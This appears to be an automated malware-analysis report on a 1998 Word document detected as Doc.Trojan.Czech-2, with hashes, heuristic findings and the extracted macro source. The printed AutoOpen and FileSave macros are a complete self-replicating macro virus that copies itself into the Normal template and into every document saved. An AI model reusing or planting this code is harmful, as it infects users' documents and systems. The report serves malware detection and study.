Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2be85d9f4c23c2ba…

MALICIOUS

Office (OLE)

53.0 KB Created: 1998-03-16 10:05:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ef839faf01a3eb6f61055ba078d46ae2 SHA-1: a419f18c2fb596d51d9b447d5321ad36495d02f5 SHA-256: 2be85d9f4c23c2bac81e92a251126bb41377453ab9d4c6b1544b993868669ca6
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is a legacy Word document containing WordBasic macros, specifically an AutoOpen macro. This macro is designed to copy itself and other macros to the normal template, which is a common technique for establishing persistence or preparing for further malicious actions. The presence of legacy WordBasic and the ClamAV detection signature 'Doc.Trojan.Czech-2' strongly suggest malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Czech-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Czech-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3658 bytes
SHA-256: 25c2dde6aa4ee0866d23905d2e289ec1f1c894b1aeec03a6d25224c055a2baa6
Detection
ClamAV: Doc.Trojan.Czech-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
  Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSummaryInfo(False)
  WordBasic.CurValues.FileSummaryInfo dlg
  WordBasic.MacroCopy dlg.FileName + ":AutoOpen", "normal:AutoOpen"
  WordBasic.MacroCopy dlg.FileName + ":FileSave", "normal:FileSave"
End Sub

Attribute VB_Name = "FileSave"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Ulozí aktivní dokument nebo šablonu."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSave.MAIN"
  Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
  On Error GoTo -1: On Error GoTo ErrorHandler
  WordBasic.FileSave
  WordBasic.CurValues.FileSaveAs dlg
  If dlg.Format = 0 Then
    dlg.Format = 1
    WordBasic.FileSaveAs dlg
    WordBasic.MacroCopy "normal:AutoOpen", dlg.Name + ":AutoOpen"
    WordBasic.MacroCopy "normal:FileSave", dlg.Name + ":FileSave"
  End If
ErrorHandler:
  Select Case Err.Number
    Case 102    'Input box was canceled
    Case Else   'Any other error condition
  End Select
End Sub

' Processing file: /opt/analyzer/scan_staging/c081998e006c42c5a841ca8a6e845e8a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1704 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSummaryInfo 0x0001 
' 	Set dlg 
' Line #3:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSummaryInfo 0x0001 
' Line #4:
' 	Ld dlg 
' 	MemLd FileName 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	LitStr 0x000F "normal:AutoOpen"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #5:
' 	Ld dlg 
' 	MemLd FileName 
' 	LitStr 0x0009 ":FileSave"
' 	Add 
' 	LitStr 0x000F "normal:FileSave"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #6:
' 	EndSub 
' Macros/VBA/FileSave - 1935 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #3:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError ErrorHandler 
' Line #4:
' 	Ld WordBasic 
' 	ArgsMemCall FileSave 0x0000 
' Line #5:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #6:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #7:
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' Line #8:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #9:
' 	LitStr 0x000F "normal:AutoOpen"
' 	Ld dlg 
' 	MemLd New 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #10:
' 	LitStr 0x000F "normal:FileSave"
' 	Ld dlg 
' 	MemLd New 
' 	LitStr 0x0009 ":FileSave"
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	Label ErrorHandler 
' Line #13:
' 	Ld Err 
' 	MemLd Number 
' 	SelectCase 
' Line #14:
' 	LitDI2 0x0066 
' 	Case 
' 	CaseDone 
' 	QuoteRem 0x0010 0x0016 "Input box was canceled"
' Line #15:
' 	CaseElse 
' 	QuoteRem 0x0010 0x0019 "Any other error condition"
' Line #16:
' 	EndSelect 
' Line #17:
' 	EndSub

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